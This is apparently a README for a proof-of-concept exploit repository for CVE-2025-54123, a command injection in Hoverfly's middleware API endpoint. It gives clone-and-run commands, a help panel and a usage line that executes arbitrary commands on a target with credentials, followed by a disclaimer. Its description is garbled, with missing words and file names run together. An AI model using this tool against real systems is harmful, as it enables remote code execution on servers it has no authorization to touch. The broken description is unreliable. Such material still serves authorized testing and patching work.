
Proof-of-concept exploit for CVE-2025-54123, a critical authenticated command injection in Hoverfly <= 1.11.3, enabling remote code execution via the middleware API endpoint.
PoC CVE-2025-54123 - Middleware Command Injection in Hoverfly
This vulnerability affects Hoverfly versions ≤ 1.11.3 and specifically targets the /api/v2/hoverfly/middleware endpoint. It is caused by insufficient input validation and sanitization in multiple files, including middleware.go, local_middleware.go, and . User-controlled input provided to the parameter is passed directly to a system binary (e.g., ) without proper checks, allowing with the privileges of the Hoverfly process.
hoverfly_service.goscript/bin/bashcurlgit clone https://github.com/f4dee-backup/CVE-2025-54123
cd CVE-2025-54123
chmod +x CVE-2025-54123.sh
./CVE-2025-54123.sh -h
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗██╗ ██╗ ██╗██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝██║ ██║███║╚════██╗╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗███████║╚██║ █████╔╝ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║╚════██║ ██║██╔═══╝ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████║ ██║ ██║███████╗██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
Hoverfly <= 1.11.3 - Authenticated Middleware Command Injection
[?] Parameters description:
-t Target base URL (e.g., http://target:8888)
-u Valid username
-p Valid password
-c Command to execute (must be enclosed in double quotes)
-h Show this help panel
[i] Example:
./CVE-2025-54123.sh -t http://target.com:8888 -u admin -p password -c "id"
This exploit is intended for educational and authorized security testing purposes only.
Do NOT use this against systems without explicit permission. Unauthorized access may be illegal.
The author assumes no responsibility for misuse or any damage caused.